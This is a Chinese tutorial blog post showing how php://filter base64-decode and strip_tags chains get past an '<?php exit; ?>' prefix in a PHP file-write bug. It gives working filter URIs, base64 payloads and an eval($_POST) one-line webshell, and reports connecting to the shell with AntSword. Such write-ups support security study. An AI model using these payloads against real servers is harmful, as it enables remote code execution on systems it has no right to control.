浅谈php://filter的妙用

分析源码

<?php
$content = '<?php exit; ?>';
$content .= $_POST['txt'];
file_put_contents($_POST['filename'], $content);

首先,先分析一下这段代码。
首先他定义了content为’<?php exit;?>‘,然后使用txt接受了一个POST的变量,将其与content进行拼接,也就是$content=’<?php exit;?> txt’,也就是说无论后面写什么都不会执行。file_put_contents是将数据写入文件。下面就是使用POST接收一个名为filename的变量。整体上来看呢就是将content的内容写入filename的文件。
那我们不妨设想一下有没有什么方法能“屏蔽”前面的退出函数呢?

巧用编码与解码

使用php://filter流的base64-decode方法,将$content解码。
base64只包含大小写字母、数字、+和/,在解码时,只对这些字符解码,当遇到其他字符时,会跳过,仅将合法字符组成一个新的字符串进行解码。

<?php exit;?>共有七个字符会被正确解码,而base64算法解码时是4byte一组,那么我们就给他随便添加一位组成8byte,然后后面就可以写我们的webshell了。

php://filter中怎么使用base64解码呢?那么就是php://filter/writer=convert.base64-decode/resource=aaa.php。这句话的意思是使用base64对其解码并且将其写入aaa.php文件。
那么我们先将webshell写成<?php phpinfo();将其进行base64编码为PD9waHAgcGhwaW5mbygpOw。将其作为content传入,将php://filter/write=convert.base64-decode/resource=aaa.php作为filename传入。
进行测试。
在这里插入图片描述

查看在本目录下是否生成了该文件
在这里插入图片描述
在这里插入图片描述
既然这样都可以成功,那我们不妨尝试写一句话木马。<?php eval($_POST[1]);的base64编码为PD9waHAgZXZhbCgkX1BPU1RbMV0pOw。

使用蚁剑进行连接尝试。
在这里插入图片描述

连接成功。

利用字符串操作方法

在php://filter中有一种对php和html的标签进行检测操作的方法,也就是strip_tags。那我么就要思考,他是不是可以去除一切含有<?php标签的代码呢?答案是的。也就是说,只要其检测到<?php或者说html的标签那么可以直接将其删除,但是我们还要传入php的代码,肯定也会被其删除啊,有没有一种方法可以不删除我们传入的恶意代码、只删除<?php exit; ?>呢?
php://filter可以同时使用多个过滤器,那我们思考就可以利用上面的编码与解码了。
也就是类似于这种

php://filter/write=string.strip_tags|convert.base64-decode/resource=aaa.php

也就是我们将恶意代码以base64编码的形式传入,等string_tags将<?php exit; ?>删除之后,再将恶意代码使用base64解码。
还是先将<?php phpinfo();进行base64编码为PD9waHAgcGhwaW5mbygpOw,然后将其以POST的形式传入txt,将php://filter/write=string.strip_tags|convert.base64-decode/resource=aaa.php通过POST传给filename。
在这里插入图片描述
在这里插入图片描述
查看aaa.php的内容。
在这里插入图片描述
访问。
在这里插入图片描述
再写一句话木马尝试使用蚁剑连接。
在这里插入图片描述
在这里插入图片描述
连接成功。

  • 19
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

头发巨多不做程序猿

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值